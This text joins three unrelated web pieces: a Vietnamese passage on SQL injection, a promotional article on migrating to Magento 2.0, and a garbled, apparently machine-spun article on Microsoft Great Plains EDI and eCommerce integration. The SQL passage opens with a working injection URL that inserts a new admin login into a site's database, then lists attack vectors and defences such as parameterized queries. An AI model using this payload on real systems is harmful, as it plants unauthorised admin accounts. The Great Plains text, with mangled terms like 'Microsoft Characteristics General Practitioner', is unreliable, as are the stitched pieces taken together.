http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Và bây giờ có thể login vào với username “neo2” và password là “newpas5”
Các trường hợp tấn công SQL Injection thì phải làm sao?
Một số cách tấn công bằng SQL Injection phổ biến nhất
Chèn SQL Injection dựa trên đầu vào
Một cuộc tấn công SQL Injection thường phổ biến với việc sử dụng các đầu vào của người dùng. Các ứng dụng web đều chấp nhận các đầu vào thông qua nhiều hình thức khác nhau. Thông qua đó, những kẻ tấn công có thể gắn SQL Injection với các dữ liệu đầu vào và truy cập vào cơ sở dữ liệu máy chủ.
Chèn SQL Injection dựa trên cookie
Một cách tiếp cận khác với SQL Injection là sửa đổi cookie thành các truy vấn cơ sở dữ liệu chứa mã độc. Các phần mềm độc hại có thể được triển khai trên thiết bị người dùng thông qua thay đổi của cookie, nhằm mục đích đưa SQL Injection vào các dữ liệu Back-end.
Chèn SQL Injection dựa trên headers HTTP
Các biến của máy chủ như headers HTTP cũng có thể là mục tiêu tấn công của SQL Injection. Nếu một ứng dụng web chấp nhận đầu vào từ các headers HTTP, các headers giả có chứa SQL Injection có thể xâm nhập vào cơ sở dữ liệu.
Chèn SQL Injection bằng bậc hai
Một cuộc tấn SQL Injection bậc hai cung cấp các dữ liệu bị nhiễm độc, mà đây là các dữ liệu có thể được xem là lành tình trong một trường hợp nhất định, nhưng chứa các mã độc trong trường hợp khác. Bạn khó có thể nhận thức được các cuộc tấn công theo cách thức này.
Ngăn chặn SQL Injection bằng cách nào?
Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:
– Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL. – Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL. – Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số. – Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện. – Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi. – Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server. – Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ: input do người dùng đệ trình các tham số từ URL các giá trị từ cookie – Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. – Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security. Xóa các stored procedure trong database master mà không dùng như: xp_cmdshell xp_startmail xp_sendmail sp_makewebtask
Ngăn chặn SQL Injection trong ASP.NET
Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.
Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
Qua bài viết đầy đủ và chi tiết trên đây, chúng tôi chắc chắn bạn đã hiểu hơn về SQL Injection từ khái niệm, cách thức hoặt động cho đến quá trình tấn công và cách phòng chống hiệu quả nhất. Hi vọng những thông tin này giúp ích nhiều cho bạn đọc.
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Migration to Magento 2.0
Flawless as it has been, Magento had an update to grab with a whole new package of features and upgrades, and that is acknowledged as Magento 2.0. The developer community excited and delighted at the same time with the news, but the merchants and retailers were the ones snooping with what it will bring next to their business.
Back in the days, Magento dominated online shopping platforms and is still one of the most popular and used E-Commerceplatforms on the internet. Magento has always been a very settled platform; hence a vital update for Magento 1.x was called for, due to the inept areas and a few hitches that were offsetting its performance for several online merchants and retailers. With the new Magento 2.0 update, things will be quite different now.
Magento 2.0 in all its Way
The Magento team took significant study and research on the inadequacies of Magento until it was clear that some of its needed to be scraped and built again from the base. Magento 2.0 is almost a complete reboot of its predecessor.
The anticipated outcome of the new release has boosted its performance by 20% in contrast to Magento 1.x.
An Outlook for Magento 2.0
What’ Fresh for Merchants?
A number of leverages of the Magento 2.0 release have been found for the retailers. Having a deeply coded modular architecture, the API has been jolted along with the extension variance resolution tools for testing. Besides of new and more interactive layouts, better scalability with enhanced product security and multi language support for visitor multiplicity are also made it only one of its kind. Retailing process will not only be clearer but transparent too while using all these updates at work. Moreover, you will get enhanced products and category management with Magento 2.0. The access controls can be customised as well as the menu is highly adaptable for the users. With its new features you can add any product details such as categories & products promotion much easier and quicker.
What New Updates Magento 2.0 offers!
Magento 2.0 Community and Magento Enterprise 2.0 both have thump their marks well in the period. Full page caching is certainty the most predictable upgrade that Magento can exhibit.
By operating on a database driven site, it pre-renders its every page into basic HTML. Or we can say it trims down the loading time of the page from a lousy 5-8 second lag to a nifty 1-2 seconds. Well, fairly a quick page response, considering any E-Commerce site on the internet.
A built in feature will permit full page caching for the community version to pacify the open source community. Quite an ideal thing for merchants as well as developers.
With the lesser load time the server will remain on easiness, which will begin a much healthier flow of traffic and visitors without any extra expenditure on hosting services.
Faster website is equals to high position on Google SERP. In results, better conversion rates and high traffic for the website that send positive reviews and feedback, what else online store crave for!
What’ Fresh for Developers? Magento has a lot to offer for the developers. Since now all the extensions have their own view directory assigned under the app structure, developers can enjoy the extension development with this platform. Now no more sweat in terms of tailor Magento’ installs like they used to. The dashboard is giving a better dexterity on account of its finer design and streamlined structure. Developers can do the work with more ease and smoothness. The customising propensity has improved thrice fold henceforth, the developers are now able to execute targeted changes without being worried about conflicting with other codes with Magento. However, the best upshot for developer community is the hardware compatibility of Magento. Being always having the low hardware performance Magento suffered a lot and in consequence an awful developer experience took a shape. Now with the Magento 2.0 release, the detected bug vanished away and hardware compatibility functions have been placed without any additional software applications. Features that makes it Worth More:
Database Adaptability – Databases such as Microsoft SQL, mu SQL and Oracle are quite endurable with Magento 2.0. One of the best outcomes of the release as in results better and diversified look on the website will create a well-mannered Magento store for the customers with more sorted databases.
Testing Features – With the release of Magento 2.0, one more key feature has been added and that is testing feature. The new testing feature provides you the access to place automated tests for functional and performance testing as well as unit and integration testing. Initially, staff testing method placed for the testing but with this new feature there will be no need for the separate testing methods.
Migration Tools for Converting – Developers can easily convert the previous versions of Magento into the recently released Magento 2.0. Though it is on the testing mode whether it can be used for every store or not.
New Magento Connect – New Magento Connect marketplace lets you run down and scans extensions for probable plagiarism, quality checks and code reviews with a superior and user friendly interface to look for extensions without difficulty. Fresh extensions can be placed into the market place while developers can deal with the extensions better than ever with the latest dashboard. You can also check the store stability and all the available (Free & Paid) extensions on the market place.
Improved Database – Magento’ failure in offering effecting database management is something that has always been a glitch in the whole scenario. Let’s understand it more, when you insert all the content you have on CDN, the load balancing fails to arrange your data; in results you face one of the main issues of load balancing. With Magento 2.0 release, you will not face this more as you can have a standalone database for order management and checkout.
Payment Gateway Update – Payment gateway is one of the vital processes while doing any process. In the preceding versions of Magento conversions use to drop on account of the payment gateways. With Magento 2.0, the payment process is now incorporated with the third party embedded APIs with inline iframes. In order to perform well, it allows third party to host the payment from while being engaged in the checkout process simultaneously. PayPal, CyberSource, WorldPlay, and BrainTree are some of the popular Payment Gateways that are included with Magento 2.0
Improved Checkout process – With Magento 2.0, you will experience impressive checkout processes. It will not only optimize and modify the procedure but also make the process hassle free. It’s true that registration and details are an important part of the process but its also factual that while dealing out with checkout process customer gets unconscious and put some counterfeit or wrong details. Magento 2.0 makes things easier and simplifies the process into a quick treat and creates the transparent and effortless practice.
Better in all aspects from Magento 1.x: One of the harsh disadvantages of using Magento 1.x is there is no leaving back as all the Magento 1.x extensions will be giving less support in terms of up-gradation. Also you might not get the custom theme or extensions that have been used in the preceding version.
No one wants to leave behind by sticking with Magento 1.x; lots of new happenings are there in Magento 2.0 and you will get more improvements with it. Disadvantages that take place somehow: To the best of knowledge, each coin has two sides such as pros and cons and same with Magento 2.0. It is all set with latest and functional features and highly improved admin interface. Still there are some disadvantages that playing a role of barriers such as:
All Extensions are not available for Magento 2.0 – Everyone is asking about the migration to Magento 2.0 yet still not all extensions accessible.
Migration is Moderately Possible – Though data migration tools assist in transferring data from Magento 1.x to Magento 2.0 yet custom extensions and themes cannot be ported to Magento 2
More Features, More Expense – Magento 2.0 is built with a number of features, which are exceptionally wonderful. The thing that makes it complicated is highly professional admin panel. Though it’s based on the advance technology yet you need to keep one prosperous money bank with you so that you can manage the setup and operate it well.
Nevertheless, all in all Migration to Magento 2.0 will be an absolute well perform decision as Magento 2.0 will bring completely new playing field for Merchants and Developers. Want to Migrate E-Commerce stores on Magento 2.0! Let’s Connect with SunCart
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Microsoft Great Plains Integration Circumstances - EDI, eCommerce
Microsoft Characteristics General Practitioner, successor of Great Plains Software application Characteristics as well as eEnterprise is very popular ERP system, released as accounting back office and integrated with various service management system. Amongst the most normal circumstances of GP MRP combination are Digital Document User interface EDI and eCommerce. Let's take into consideration and also contrast the approaches, integration and software application advancement tools, programming methods as well as customization choice
automated order management 1. EDI. Digital Record Interchange is fairly matured innovation and usually it is understood in the kind of fixed length message formatted files or text streams. Newer strategy may take into consideration new generation of comparable to EDI in principle XML streams. When we are discussing General Practitioner, we should expect 2 sorts of EDI assimilations - when you are supplier (in this instance you obtain EDI formatted either Sales Order Handling orders or billings or Accounts Receivables invoices); as well as when you are client (in this case you place EDI purchase orders to your suppliers). From the modern technology perspective, EDI is not actually tough in common as well as also personalized understanding as well as shows. Microsoft Characteristics General Practitioner, starting with variation 8.0, is sustained on the only DB platform - Microsoft SQL Server. Current variation of Microsoft Great Plains is 10.0, readily available on MS SQL Server 2005 or 2000. You program EDI streams with SQL pick command, as well as you layout message areas with cast or convert building and constructions. When you import exterior EDI streams you, it is when you develop SOP Invoices, you ought to consider utilizing eConnect
3pl logistics software uk 2. eCommerce. If you are ecommerce developer, please invest your time in eConnect technology discovering. You probably found out about eConnect and regarding the truth that it was dedicated originally to shopping software program programmers. We would like to type of promote eConnect and also state this - if you do eCommerce integration from scratch, you have to feed eCommerce orders and also invoices right into GP tables: SOP10100, SOP10200. Nevertheless, you ought to know that eConnect currently has this job done for you in eConnect company items - encrypted saved treatments. There are several circumstances when you need to break through eConnect constraints. First one is the truth that eConnect reproduces Dexterity organization reasoning (DYNAMICS.DIC is Microsoft Mastery thesaurus, where all the core modules business logic is kept) and also trusting astonishing SQL Web server efficiency, you can still have concerns that eConnect might be a bit sluggish, if you transactions volume crosses thousand documents per session. If eConnect efficiency is in inquiry, you may take into consideration doing simplified integration in SQL stored procedures utilizing insert right into logic. The 2nd eConnect limitation is absence of posting reasoning - in order to upload SOP sets you will need to release Albaspectrum uploading web server.
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